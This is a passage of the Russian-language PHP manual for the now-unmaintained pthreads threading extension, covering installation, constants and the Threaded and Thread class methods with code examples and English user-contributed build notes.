jasonrlester at yahoo dot com 23-Feb-2014 12:08
Note that this extension *is* a high level implementation of POSIX threads, including on Windows (which is why pthreadsV*.dll is required)


Введение

pthreads предоставляет объектно-ориентированный API для работы с многопоточностью в PHP. Приложения на PHP могут создавать, читать, записывать, запускать и выполнять синхронизацию с объектами Threads, Workers и Threaded.

Внимание

Модуль считается неподдерживаемым и мёртвым.

Подсказка

Попробуйте вместо этого использовать parallel.

Внимание

Модуль доступен только для CLI-приложений. Исходя из этого, многопоточность в PHP в окружении веб-сервера недоступна.

Внимание

pthreads (v3) может использоваться только с PHP 7.2 и выше, так как ZTS-режим нестабилен в 7.0 и 7.1.

Класс Threaded предоставляет базовый функционал, необходимый для работы pthreads. Он предоставляет методы синхронизации и некоторые полезные для разработчика интерфейсы.

Класс Thread позволяет создавать потоки. Для создания потока необходимо создать наследующие его класс и в нём реализовать метод run. Любые свойства могут быть записаны и прочитаны из любого контекста через ссылку на поток. Также из любого контекста могут быть вызваны публичные и защищённые методы. Метод run будет запущен в отдельном потоке, как только будет вызван метод Thread::start() из контекста, в котором он был создан. Стартовать и присоединить поток можно только в том контексте, где он был создан.

Класс Worker имеет постоянное состояние и будет доступен из метода Thread::start() (унаследованный метод) до тех пор, пока объект не выйдет из области видимости, либо пока не будет принудительно остановлен (с помощью Worker::shutdown()). Любой контекст имеющий ссылку к данному объекту может добавлять задания на стек Worker (с помощью Worker::stack()), которые будут запущены в отдельном потоке. Метод run объекта Worker будет запущен раньше, чем любой объект с его стека задач, что даёт возможность инициализировать необходимые для задачи ресурсы.

Класс Pool используется для создания группы исполнителей (worker) для распределения между ними объектов Threaded. Это самый простой и эффективный вариант использования многопоточности в PHP.

Предостережение

Класс Pool не наследует Threaded, таким образом являясь обычным объектом PHP. Объекты этого класса не должны разделяться по различным контекстам.

Класс Volatile добавлен в pthreads v3. Он используется для задания изменяемых Threaded-свойств классов типа Threaded (так как теперь они по умолчанию неизменяемы). Также используется для хранения массивов PHP в контексте Threaded.

Синхронизация - важная часть многопоточности. Все объекты, созданные pthreads, имеют встроенные методы для обеспечения синхронизации (они покажутся очень знакомыми для разработчиков на Java): Threaded::wait() и Threaded::notify(). Вызов Threaded::wait() переведёт объект в ожидание до того момента, пока из другого контекста не будет вызван Threaded::notify() для ожидающего объекта. Этот механизм позволяет осуществлять синхронизацию между объектами Threaded.

Предостережение

Любые объекты вашего приложения, которые предполагается использовать в многопоточном режиме, должны наследовать Threaded.

Хранение данных: Как правило, в объекте Threaded можно использовать любые данные, которые могут быть сериализованы. Они могут быть записаны и прочтены из любого контекста через ссылку на этот объект. Не каждый тип данных хранится в сериализованном виде. Базовые типы хранятся в их истинной форме. Сложные типы, массивы и объекты , не являющиеся Threaded, хранятся сериализованными; они могут быть прочитаны или записаны в Threaded-объект из любого контекста по ссылке. За исключением Threaded-объектов, все ссылки, использующиеся для установки свойства в Threaded-объекте отделены от ссылок внутри Threaded-объекте. Чтение тех же данных можно производить напрямую из любого контекста по ссылке на Threaded-объекте.

Статические свойства: Когда создаётся новый контекст (Thread или Worker), они просто копируются, но ресурсы и объекты обнуляются (из соображения безопасности). Это позволяет использовать их как локальные для потока хранилища. К примеру, во время создания контекста, для класса, статические свойства которого хранят информацию о соединении к БД и само соединение, будет скопирована только информация необходимая для соединения, но не само соединение. Это позволит создать новое соединение в новом контексте и сохранить его в том же месте никак не затрагивая оригинальный контекст.

Предостережение

Когда запускаются print_r, var_dump или другие отладочные функции, они не включают защиту от рекурсии.

Замечание:

Ресурсы: Модули и функциональность PHP, создающие ресурсы, совершенно не подготовлены для такого типа окружения; pthreads предоставляет механизм разделения ресурсов между контекстами, однако для большинства типов ресурсов его следует считать небезопасным. Разделяя ресурс между контекстами необходимо быть крайне внимательным и осторожным.

Предостережение

В окружении, где запускается pthreads, необходимы некоторые ограничения и запреты для обеспечения стабильности.

User Contributed Notes

Anon 23-Aug-2019 04:40
Joe Watkins the creator of pthreads and parallel announced in February this year (2019) that pthreads will no longer be maintained after PHP 7.4 due to architectural flaws.

For the future instead of pthread, parallel should be used.

Announcement:
https://github.com/krakjoe/pthreads/issues/929#issue-410636734


Требования

Для pthreads необходима потокобезопасная сборка PHP, т.е. ZTS (Zend Thread Safety). Сделать это можно указав при компиляции ключ --enable-zts или на системах, отличных от Windows, до PHP 8.0.0, ключ --enable-maintainer-zts.

Предостережение

После компиляции потокобезопасность нельзя включить - это исключительно опция, устанавливаемая на этапе компиляции.

pthreads можно собрать везде, где присутствуют заголовочные файлы Posix Threads (pthread.h) и потокобезопасная сборка PHP, включая Windows (используя проект pthread-w32 из redhat).

User Contributed Notes

There are no user contributed notes for this page.


Установка

Готовые сборки pthreads располагаются в PECL, а исходный код на » github. Самый простой путь - установить из PECL: » https://pecl.php.net/package/pthreads.

Пользователям Windows нужно загрузить подготовленный бинарный файл с сайта » PECL.

Предостережение

Пользователям Windows придётся произвести дополнительные действия для добавления pthreadVC2.dll (присутствует в релизах для Windows) в переменную PATH.

User Contributed Notes

bens at effortlessis dot com 12-Sep-2020 05:23
Sadly, this extension seems to be in poor repair. After spending a few hours trying to get it to fly on Fedora 32 with PHP 7.4, I noticed that it's not really maintained since about 2016.

Attempting to compile it with PHP 7.4 results in screens full of nasty compile errors.
horica78 at yahoo dot com 15-Apr-2019 08:00
They can still be used in web server if used with exec('php script.php') and php-cli.ini .
agnelvishal at gmail dot com 11-Nov-2018 01:11
To compile PHP 7.2 with pthreads on Ubuntu 16.04 or Ubuntu 18.04 or Debian 9 Stretch, use this bash file at https://gist.github.com/agnelvishal/24f42c65af2f6cace1e9387617a0182a
and dot webdev at gmail dot com 08-Dec-2016 04:28
Also, possible by phpbrew

1. phpbrew install php-5.5.30 -- --enable-maintainer-zts
2. phpbrew use php-5.5.30
3. phpbrew ext install pthreads 2.0.10
Michel Phillipe Luca 20-Dec-2014 07:38
Here is how I got it working under Linux Ubuntu distro - WITHOUT USE PECL:

We will download both, PHP and Pthread without PECL

1 - Get PHP version
For this example we will use version: 5.4.36

# wget http://www.php.net/distributions/php-5.4.36.tar.gz

2- Get Pthreads version:
I'm using an old version but, you could take any one

# wget http://pecl.php.net/get/pthreads-1.0.0.tgz

Extract both, php and pthreads versions

#tar zxvf php-5.4.36.tar.gz
#tar zxvf pthreads-1.0.0.tgz

3- Move Pthreads to php/ext folder. Inside version of PHP downloaded at item 1.

4- Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You have to see --enable-pthreads listed. If do not, clear the buidls with this commands:

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

5 - Inside php folder run configure command to set what we need:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads --prefix=/usr --with-config-file-path=/etc

6 - Install PHP
We will run make clear just to be sure that no other crashed build will mess our new one.

# make clear
# make
# make install

7 - Copy configuration file of PHP and add local lib to include path
# cp php.ini-development /etc/php.ini

Edit php.ini and set Include_path to be like this:

Include_path = "/usr/local/lib/php"

9 - Check Modules
# php -m (check pthread loaded)

You have to see pthreads listed

10 - If pthread is not listed, update php.ini
# echo "extension=pthreads.so" >> /etc/php.ini
sawyer dot lin at gmail dot com 15-Dec-2014 05:42
To execute pecl install pthreads
The library autoconf shoud be installed at first
http://stackoverflow.com/questions/9322742/php-autoconf-errors-on-mac-os-x-10-7-3-when-trying-to-install-pecl-extensions
like
apt-get install pthreads
zahid dot smz at gmail dot com 11-May-2014 07:43
For Wampp (Windows)
-----------------------------------------------------------------------------------
1.  Find out what is your 'PHP Extension Build' version by using phpinfo(). You can use this - http://localhost/?phpinfo=1

2.  Download the pthreads that matches your php version (32 bit or 64 bit) and php extension build (currently used VC11). Use this link for download - http://windows.php.net/downloads/pecl/releases/pthreads/

3.  Extract the zip -
      Move php_pthreads.dll to the 'bin\php\ext\' directory.
      Move pthreadVC2.dll to the 'bin\php\' directory.
      Move pthreadVC2.dll to the 'bin\apache\bin' directory.
      Move pthreadVC2.dll to the 'C:\windows\system32' directory.

4.  Open php\php.ini and add
      extension=php_pthreads.dll

Now restart server and you are done. Thanks.
Pedro Proenca 12-Apr-2014 11:22
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
pedro dot proenca at shapedfor dot me 12-Apr-2014 11:21
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
rbfowler9lfc at hotmail dot com 19-Aug-2013 02:32
For those using XAMPP or other apache-php bundles, it's necessary to add LoadFile "C:/xampp/php/pthreadVC2.dll" to httpd-xampp.conf if you want to utilize pthreads in a browser window.
matias dot zumbo at gmail dot com 30-Jul-2013 11:54
HOW TO INSTALL IN LINUX SYSTEM'S:
------------------------------------

1) Download PHP sources and Unpack PHP

2) Download PEAR
     wget http://pear.php.net/go-pear.phar
     php go-pear.phar

3) Download pthreads
Get PECL extension (PECL is a repository for PHP Extensions)

# pecl install pthread-0.4.4

4) Unpack pthreads
copy pthread-0.4.4  to  php/ext
(for ./configure allow  add option --enable-pthreads)

# mv build/php-src-master/ext/pthreads-master    build/php-src-master/ext/pthreads

5)  Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You should see the appropriate --enable-pthreads option listed as a result, if you do not, then

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

6) Build PHP
Compile PHP source code
Add:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads

7) Installing PHP
# make
# sudo make install

8) Update php.ini
Add in php.ini
extension=pthreads.so
Include_path = "/usr/local/lib/php"

9) Check Modules
php -m (check pthread loaded)

10) Test Thread Class
# php SimpleTest.php
jason at jason-rush dot com 27-Jun-2013 08:54
The files are in the format:
php_pthreads-X.XX-Y.Y-ts-vcZZ-x86.zip

where
X.XX is the version of the phpthreads-win32
Y.Y is the base version of PHP that you are running
ZZ is ?? (version of compiler?)

Currently, 0.44 is the latest release of phpthreads-win32, so X.XX = 0.44
If you are running PHP 5.3.13, then Y.Y = 5.3
If you are running PHP 5.5.0, then Y.Y=5.5
etc

php_pthreads-0.44-5.3-ts-vc9-x86.zip
php_pthreads-0.44-5.4-ts-vc9-x86.zip
php_pthreads-0.44-5.5-ts-vc11-x64.zip
php_pthreads-0.44-5.5-ts-vc11-x86.zip
Jimmy Christensen 16-May-2013 08:55
On Windows the installation is as follows:

Download the pthreads that matches your php version.
I found mine at: http://windows.php.net/downloads/pecl/releases/pthreads/
(I used version 0.44 wich is the newest at the time of writing this, and then downloaded the one for php 5.3 which is the version I am using).

Extract the zip.
Move php_pthreads.dll to the php\ext\ directory.
Move pthreadVC2.dll to the php\ directory.

Open php\php.ini and add
extension=php_pthreads.dll

You are done.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

PTHREADS_INHERIT_ALL (int)
Настройка по умолчанию для всех потоков, указывает pthreads копировать все окружение при создании нового потока (класс Thread)
PTHREADS_INHERIT_NONE (int)
Ничего не наследовать при старте нового потока
PTHREADS_INHERIT_INI (int)
Наследовать INI-настройки при старте нового потока
PTHREADS_INHERIT_CONSTANTS (int)
Наследовать пользовательские константы при старте нового потока
PTHREADS_INHERIT_CLASSES (int)
Наследовать пользовательские классы при старте нового потока
PTHREADS_INHERIT_FUNCTIONS (int)
Наследовать пользовательские функции при старте нового потока
PTHREADS_INHERIT_INCLUDES (int)
Наследовать информацию из подключённых файлов при старте нового потока
PTHREADS_INHERIT_COMMENTS (int)
Наследовать все комментарии при старте нового потока
PTHREADS_ALLOW_HEADERS (int)
Позволять потокам отправлять заголовки (headers) в стандартный вывод (обычно запрещено)

User Contributed Notes

There are no user contributed notes for this page.


Класс Threaded

(PECL pthreads >= 2.0.0)

Введение

Объекты Threaded формируют базис способности pthreads запускать пользовательский код в новых потоках. Класс содержит методы синхронизации и различные полезные интерфейсы.

Самое важное, что объекты Threaded обеспечивают безопасность для разработчика. Все операции в контексте объекта - безопасны.

Обзор классов

class Threaded implements Collectable, Traversable, Countable, ArrayAccess {
/* Методы */
public chunk(int $size, bool $preserve): array
public count(): int
public extend(string $class): bool
public isRunning(): bool
public isTerminated(): bool
public merge(mixed $from, bool $overwrite = ?): bool
public notify(): bool
public notifyOne(): bool
public pop(): bool
public run(): void
public shift(): mixed
public synchronized(Closure $block, mixed ...$args): mixed
public wait(int $timeout = ?): bool
}

Содержание

  • Threaded::chunk — Обработка
  • Threaded::count — Обработка
  • Threaded::extend — Обработка во время выполнения
  • Threaded::isRunning — Определение состояния
  • Threaded::isTerminated — Определение состояния
  • Threaded::merge — Обработка
  • Threaded::notify — Синхронизация
  • Threaded::notifyOne — Синхронизация
  • Threaded::pop — Обработка
  • Threaded::run — Выполнение
  • Threaded::shift — Обработка
  • Threaded::synchronized — Синхронизация
  • Threaded::wait — Синхронизация

User Contributed Notes

jtbibliomania at gmail dot com 24-Jun-2019 06:43
It's worth mentioning here that, since v2.0.0, 'Stackable' class was an alias for 'Threaded' class but has been removed since.
derkontrollfreak+php at gmail dot com 12-Jul-2015 07:50
> Threaded objects, most importantly, provide implicit safety for the programmer; all operations on the object scope are safe.

However, this comes with a trade-off: Operations on the instance scope are slower than on plain PHP objects.

Static properties are not affected as they are thread-local.


Обработка

  • « Threaded
  • Threaded::count »
  • PHP Manual
  • Threaded
  • Обработка

Threaded::chunk

(PECL pthreads >= 2.0.0)

Threaded::chunk — Обработка

Описание

public Threaded::chunk(int $size, bool $preserve): array

Получает фрагмент таблицы свойств объектов заданного размера, при необходимости сохраняя ключи.

Список параметров

size

Количество элементов для получения.

preserve

Сохранять ключи элементов, по умолчанию false.

Возвращаемые значения

Массив элементов из таблицы свойств объектов.

Примеры

Пример #1 Получение фрагмента таблицы свойств

<?php
$safe = new Threaded();

while (count($safe) < 10) {
$safe[] = count($safe);
}

var_dump($safe->chunk(5));
?>

Результат выполнения данного примера:

array(5) {
  [0]=>
  int(0)
  [1]=>
  int(1)
  [2]=>
  int(2)
  [3]=>
  int(3)
  [4]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


Обработка

  • « Threaded::chunk
  • Threaded::extend »
  • PHP Manual
  • Threaded
  • Обработка

Threaded::count

(PECL pthreads >= 2.0.0)

Threaded::count — Обработка

Описание

public Threaded::count(): int

Возвращает количество свойств для этого объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Подсчёт свойств объекта

<?php
$safe = new Threaded();

while (count($safe) < 10) {
$safe[] = count($safe);
}

var_dump(count($safe));
?>

Результат выполнения данного примера:

int(10)

User Contributed Notes

There are no user contributed notes for this page.


Обработка во время выполнения

  • « Threaded::count
  • Threaded::isRunning »
  • PHP Manual
  • Threaded
  • Обработка во время выполнения

Threaded::extend

(PECL pthreads >= 2.0.8)

Threaded::extend — Обработка во время выполнения

Описание

public Threaded::extend(string $class): bool

Делает потокобезопасный стандартный класс во время выполнения.

Список параметров

class

Класс для расширения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Наследование во время выполнения

<?php
class My {}

Threaded::extend(My::class);

$my = new My();

var_dump($my instanceof Threaded);
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « Threaded::extend
  • Threaded::isTerminated »
  • PHP Manual
  • Threaded
  • Определение состояния

Threaded::isRunning

(PECL pthreads >= 2.0.0)

Threaded::isRunning — Определение состояния

Описание

public Threaded::isRunning(): bool

Сообщает, выполняется ли указанный объект.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Логическое значение состояния объекта.

Замечание:

Объект считается запущенным при выполнении метода run.

Примеры

Пример #1 Определение состояния указанного объекта

<?php
class My extends Thread {
public function run() {
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
var_dump($my->isRunning());
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « Threaded::isRunning
  • Threaded::merge »
  • PHP Manual
  • Threaded
  • Определение состояния

Threaded::isTerminated

(PECL pthreads >= 2.0.0)

Threaded::isTerminated — Определение состояния

Описание

public Threaded::isTerminated(): bool

Сообщает, был ли объект, на который указывает ссылка, прекращён во время выполнения; произошли ли фатальные ошибки или были выброшены неперехваченные исключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Логическое значение состояния объекта.

Примеры

Пример #1 Определение состояния указанного объекта

<?php
class My extends Thread {
public function run() {
i_do_not_exist();
}
}
$my = new My();
$my->start();
$my->join();
var_dump($my->isTerminated());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Обработка

  • « Threaded::isTerminated
  • Threaded::notify »
  • PHP Manual
  • Threaded
  • Обработка

Threaded::merge

(PECL pthreads >= 2.0.0)

Threaded::merge — Обработка

Описание

public Threaded::merge(mixed $from, bool $overwrite = ?): bool

Объединяет данные в текущий объект.

Список параметров

from

Данные для объединения.

overwrite

Перезаписать существующие ключи, по умолчанию true.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объединение с таблицей свойств связанного объекта

<?php
$array = [];

while (count($array) < 10)
$array[] = count($array);

$stdClass = new stdClass();
$stdClass->foo = "foo";
$stdClass->bar = "bar";
$stdClass->baz = "baz";

$safe = new Threaded();
$safe->merge($array);

$safe->foo = "bar";
$safe->merge($stdClass, false);

var_dump($safe);
?>

Результат выполнения данного примера:

object(Threaded)#2 (13) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "bar"
  ["baz"]=>
  string(3) "baz"
}

User Contributed Notes

cottton 15-Aug-2015 07:41
The example output is different on my side:
<?php
/*
object(Threaded)#2 (11) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "bar"
}
*/
?>
for
windows using
PHP_VERSION 5.6.11
php_pthreads-2.0.10-5.6-ts-vc11-x86.zip @ http://windows.php.net/downloads/pecl/releases/pthreads/2.0.10/

and

linux using
PHP_VERSION 5.6.10-1~dotdeb+zts+7.3

So $stdClass wont be merged.


Синхронизация

  • « Threaded::merge
  • Threaded::notifyOne »
  • PHP Manual
  • Threaded
  • Синхронизация

Threaded::notify

(PECL pthreads >= 2.0.0)

Threaded::notify — Синхронизация

Описание

public Threaded::notify(): bool

Отправляет уведомление указанному объекту.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Уведомления и ожидание

<?php
class My extends Thread {
public function run() {
/** заставить этот поток ждать **/
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
/** отправить уведомление ожидающему потоку **/
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
var_dump($my->join());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

cottton at i-stats dot net 18-Nov-2014 01:34
Seems like some operators dont work.
f.e. $thread->array[] = 1;  fails

a simple test:
<?php
class My extends Thread
{
    public
        $array = array('default val 1', 'default val 2'),
        $msg = 'default',
        $stop = false;

    public function run()
    {
        while(true)
        {
            echo $this->msg . PHP_EOL;
            if(count($this->array) > 0){
                foreach($this->array as $val){
                    var_dump($val);
                }
                $this->array = array();
            }
            /** cause this thread to wait **/
            $this->synchronized(
                function($thread){
                    if(count($this->array) < 1){
                        $thread->wait();
                    }
                },
                $this
            );
            echo PHP_EOL;
            if($this->stop){
                break;
            }
        } // while
    }
}
$my = new My();
$my->start();

sleep(1); // wait a bit

// test 1 - $thread->array[] = 1;
$my->synchronized(
    function($thread){
        $thread->msg = 'test 1';
        $thread->array[] = 1;
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

// test 2 - array_push($thread->array, 2);
$my->synchronized(
    function($thread){
        $thread->msg = 'test 2';
        array_push($thread->array, 2);
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

// test 3 - array_push($thread->array, 2);
$my->synchronized(
    function($thread){
        $thread->msg = 'test 3';
        $new = array(3);
        $thread->array = array_merge($thread->array, $new);
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

$my->stop = true;
?>
out:
default
string(13) "default val 1"
string(13) "default val 2"

test 1

test 2

test 3
int(3)

so in this case only array_merge() worked.


Синхронизация

  • « Threaded::notify
  • Threaded::pop »
  • PHP Manual
  • Threaded
  • Синхронизация

Threaded::notifyOne

(PECL pthreads >= 3.0.0)

Threaded::notifyOne — Синхронизация

Описание

public Threaded::notifyOne(): bool

Отправляет уведомление указанному объекту. Это разблокирует по крайней мере один из заблокированных потоков (в отличие от Threaded::notify() с разблокировкой всех потоков).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Уведомления и ожидание

<?php
class My extends Thread {
public function run() {
/** заставить этот поток ждать **/
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
/** отправить уведомление ожидающему потоку **/
$my->synchronized(function($thread){
$thread->done = true;
$thread->notifyOne();
}, $my);
var_dump($my->join());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Обработка

  • « Threaded::notifyOne
  • Threaded::run »
  • PHP Manual
  • Threaded
  • Обработка

Threaded::pop

(PECL pthreads >= 2.0.0)

Threaded::pop — Обработка

Описание

public Threaded::pop(): bool

Извлекает элемент из таблицы свойств объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний элемент из таблицы свойств объектов.

Примеры

Пример #1 Извлечение последнего элемента из таблицы свойств связанного объекта

<?php
$safe = new Threaded();

while (count($safe) < 10)
$safe[] = count($safe);

var_dump($safe->pop());
?>

Результат выполнения данного примера:

int(9)

User Contributed Notes

There are no user contributed notes for this page.


Выполнение

  • « Threaded::pop
  • Threaded::shift »
  • PHP Manual
  • Threaded
  • Выполнение

Threaded::run

(PECL pthreads >= 2.0.0)

Threaded::run — Выполнение

Описание

public Threaded::run(): void

Программист всегда должен реализовывать метод run для объектов, которые предназначены для выполнения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращаемое значение метода, если оно используется, будет проигнорировано.

User Contributed Notes

There are no user contributed notes for this page.


Обработка

  • « Threaded::run
  • Threaded::synchronized »
  • PHP Manual
  • Threaded
  • Обработка

Threaded::shift

(PECL pthreads >= 2.0.0)

Threaded::shift — Обработка

Описание

public Threaded::shift(): mixed

Перемещает элемент из таблицы свойств объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первый элемент из таблицы свойств объекта.

Примеры

Пример #1 Перемещение первого элемента из таблицы свойств связанного объекта

<?php
$safe = new Threaded();

while (count($safe) < 10)
$safe[] = count($safe);

var_dump($safe->shift());
?>

Результат выполнения данного примера:

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Синхронизация

  • « Threaded::shift
  • Threaded::wait »
  • PHP Manual
  • Threaded
  • Синхронизация

Threaded::synchronized

(PECL pthreads >= 2.0.0)

Threaded::synchronized — Синхронизация

Описание

public Threaded::synchronized(Closure $block, mixed ...$args): mixed

Выполняет блок, сохраняя блокировку синхронизации ссылочных объектов для вызывающего контекста.

Список параметров

block

Блок кода для выполнения.

args

Список аргументов переменной длины для использования в качестве аргументов функции блока.

Возвращаемые значения

Возвращаемое значение блока.

Примеры

Пример #1 Синхронизация

<?php
class My extends Thread {
public function run() {
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
var_dump($my->join());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

john dot wellesz at teaser dot fr 19-Mar-2014 01:22
Threaded::synchronized() allows you to safely set or read synchronization conditions and act upon them (using ::wait() and ::notify()) knowing that only one call to synchronized() on the referenced object can be executed at a particular time, other calls from different thread contexts will block until the path is cleared by a call to ::wait() inside your ::Synchronized() closure.


Синхронизация

  • « Threaded::synchronized
  • Thread »
  • PHP Manual
  • Threaded
  • Синхронизация

Threaded::wait

(PECL pthreads >= 2.0.0)

Threaded::wait — Синхронизация

Описание

public Threaded::wait(int $timeout = ?): bool

Заставляет вызывающий контекст ждать уведомления от указанного объекта.

Список параметров

timeout

Необязательный параметр времени ожидания в микросекундах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Уведомления и ожидание

<?php
class My extends Thread {
public function run() {
/** заставить этот поток ждать **/
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
/** отправить уведомление ожидающему потоку **/
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
var_dump($my->join());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Класс Thread

(PECL pthreads >= 2.0.0)

Введение

Когда вызван стартовый метод Thread, код метода run будет запущен в отдельном потоке, параллельно.

После отработки метода run, Thread сразу же завершит работу. Он будет присоединён путём создания Thread в нужное время.

Внимание

Если полагаться на движок для определения, когда Thread будет присоединён, можно столкнуться с неожиданным поведением. Поэтому необходимо, по возможности, управлять присоединением в явном виде.

Обзор классов

class Thread extends Threaded implements Countable, Traversable, ArrayAccess {
/* Методы */
public getCreatorId(): int
public static getCurrentThread(): Thread
public static getCurrentThreadId(): int
public getThreadId(): int
public isJoined(): bool
public isStarted(): bool
public join(): bool
public start(int $options = ?): bool
/* Наследуемые методы */
public Threaded::chunk(int $size, bool $preserve): array
public Threaded::count(): int
public Threaded::extend(string $class): bool
public Threaded::isRunning(): bool
public Threaded::isTerminated(): bool
public Threaded::merge(mixed $from, bool $overwrite = ?): bool
public Threaded::notify(): bool
public Threaded::notifyOne(): bool
public Threaded::pop(): bool
public Threaded::run(): void
public Threaded::shift(): mixed
public Threaded::synchronized(Closure $block, mixed ...$args): mixed
public Threaded::wait(int $timeout = ?): bool
}

Содержание

  • Thread::getCreatorId — Идентификация
  • Thread::getCurrentThread — Идентификация
  • Thread::getCurrentThreadId — Идентификация
  • Thread::getThreadId — Идентификация
  • Thread::isJoined — Определение состояния
  • Thread::isStarted — Определение состояния
  • Thread::join — Синхронизация
  • Thread::start — Выполнение

User Contributed Notes

german dot bernhardt at gmail dot com 27-Mar-2016 11:11
<?php
# ERROR GLOBAL VARIABLES IMPORT

$tester=true;

function tester(){
 global $tester;
 var_dump($tester);
}

tester(); // PRINT -> bool(true)

class test extends Thread{
 public function run(){
  global $tester;
  tester(); // PRINT -> NULL
 }
}
$workers=new test();
$workers->start();

?>
german dot bernhardt at gmail dot com 01-Apr-2014 11:01
<?php

class workerThread extends Thread {
 public function __construct($i){
  $this->i=$i;
 }

 public function run(){
  while(true){
   echo $this->i;
   sleep(1);
  }
 }
}

for($i=0;$i<50;$i++){
 $workers[$i]=new workerThread($i);
 $workers[$i]->start();
}

?>


Идентификация

  • « Thread
  • Thread::getCurrentThread »
  • PHP Manual
  • Thread
  • Идентификация

Thread::getCreatorId

(PECL pthreads >= 2.0.0)

Thread::getCreatorId — Идентификация

Описание

public Thread::getCreatorId(): int

Возвращает идентификатор потока, который создал указанный поток.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой идентификатор.

Примеры

Пример #1 Возвращает идентификатор потока, который создал указанный поток

<?php
class My extends Thread {
public function run() {
printf("%s создан потоком #%lu\n", __CLASS__, $this->getCreatorId());
}
}
$my = new My();
$my->start();
?>

